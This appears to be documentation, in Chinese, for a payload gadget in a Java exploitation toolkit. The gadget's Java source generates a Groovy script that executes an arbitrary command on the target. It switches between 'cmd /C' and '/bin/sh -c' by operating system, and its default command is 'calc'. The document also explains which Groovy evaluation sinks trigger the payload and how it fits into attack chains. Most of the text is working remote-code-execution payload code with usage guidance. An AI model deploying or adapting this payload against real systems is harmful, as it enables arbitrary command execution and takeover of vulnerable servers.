- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:
groovy:groovy.lang.GroovyShell
生成一段 Groovy 脚本字符串,运行期通过 Groovy 集合对象的 execute() 扩展方法执行系统命令,并自动按 os.name 区分 Windows(cmd /C)与类 Unix(/bin/sh -c)。是 GroovyExec1Convert 的「运行期 execute()」变体。
- 入口
tags:Groovy_Expr、Expression、END—— 产出 Groovy 表达式文本;归「表达式字符串」族;END表示它是链末端载荷,invoke直接返回字符串。 - 衔接
nextTags:(空)。 excludes:(空)。
@GadgetTags(tags={"Groovy_Expr", "Expression", "END"})
@GadgetAnnotation(name="Groovy表达式字符串1",
description="含有/bin/sh -c 或 cmd /c 的简单execute()函数命令执行",
dependencies={"groovy:groovy.lang.GroovyShell"})
public class GroovyExec2Convert implements Gadget {
@Param(name="命令", description="eg: calc")
public String cmd = "calc";
public static String template =
"String cmd = \"%s\";if(System.properties['os.name'].toLowerCase().contains('windows'))"
+ "{['cmd','/C', cmd].execute();} else {['/bin/sh','-c', cmd].execute();}";
public String getObject() {
return String.format(template, this.cmd);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}
}逐段说明:
template是一段合法的 Groovy 脚本:先声明cmd,再判断System.properties['os.name']是否含windows,据此选择['cmd','/C', cmd]或['/bin/sh','-c', cmd]列表并调用.execute()。List.execute()是 Groovy 对java.util.List增加的运行期扩展方法,等价于Runtime.exec(String[])。- 与 GroovyExec1 的核心差异:这里是运行期执行(脚本被
evaluate/run时触发),而 GroovyExec1 走的是@ASTTest编译期执行。两者针对不同的 Groovy 触发点。 - 采用
['cmd','/C', cmd]的数组式调用,命令作为独立参数传入,天然避免 shell 二次解析问题;且自动跨平台。默认cmd = "calc"(无需cmd /c前缀,因为前缀已在模板中)。 String.format(template, this.cmd)把命令拼进String cmd = "...",命令含"时仍需注意转义。invoke直接返回字符串,不包装内层对象,对应END。
触发条件:类路径有 groovy,且存在一处会运行该脚本的入口(GroovyShell.evaluate、Eval、Groovy 模板引擎等)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
命令 | 直接作为进程参数的命令体,无需自带 cmd /c、/bin/sh -c(模板已加) |
calc |
任意(eg: calc) |
- 依赖
groovy;List.execute()扩展自 Groovy 早期即存在,版本不敏感。 - 相比 GroovyExec1 的编译期触发,本 gadget 需要脚本被真正运行;但其数组式跨平台命令拼接更稳健。
- 命令以
os.name自动分流平台,一个 payload 同时适配 Windows/Linux。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 同族:GroovyExec1Convert(编译期
@ASTTest)、H2GroovyExecJdbc。 - 上游消费者:接收
Groovy_Expr/Expression并执行 Groovy 脚本的 sink(如GroovyShellRef等)。